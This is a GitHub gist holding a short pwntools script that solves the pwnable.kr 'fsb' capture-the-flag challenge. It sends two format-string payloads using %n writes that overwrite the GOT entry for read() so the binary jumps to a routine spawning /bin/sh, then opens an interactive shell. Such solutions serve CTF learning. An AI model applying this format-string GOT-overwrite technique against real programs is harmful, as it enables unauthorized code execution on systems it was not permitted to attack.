Skip to content

Instantly share code, notes, and snippets.

@cubarco

cubarco/pwnable-rookiss-fsb.py

Last active December 9, 2015 12:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cubarco/f9e4ea01368fae7c19a0 to your computer and use it in GitHub Desktop.
Save cubarco/f9e4ea01368fae7c19a0 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
pwnable-rookiss-fsb.py
#!/usr/bin/env python
# coding=utf8
from pwn import process
from time import sleep
p = process('./fsb')
read_got = 0x804a000
congratz_addr = 0x804869f
p.sendline("%{}c%14$n".format(read_got)) # write got address of read into stack
sleep(0.1)
p.sendline("%{}c%20$n".format(congratz_addr)) # overwrite the got, and redirect read() to execv("/bin/sh")
p.clean()
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment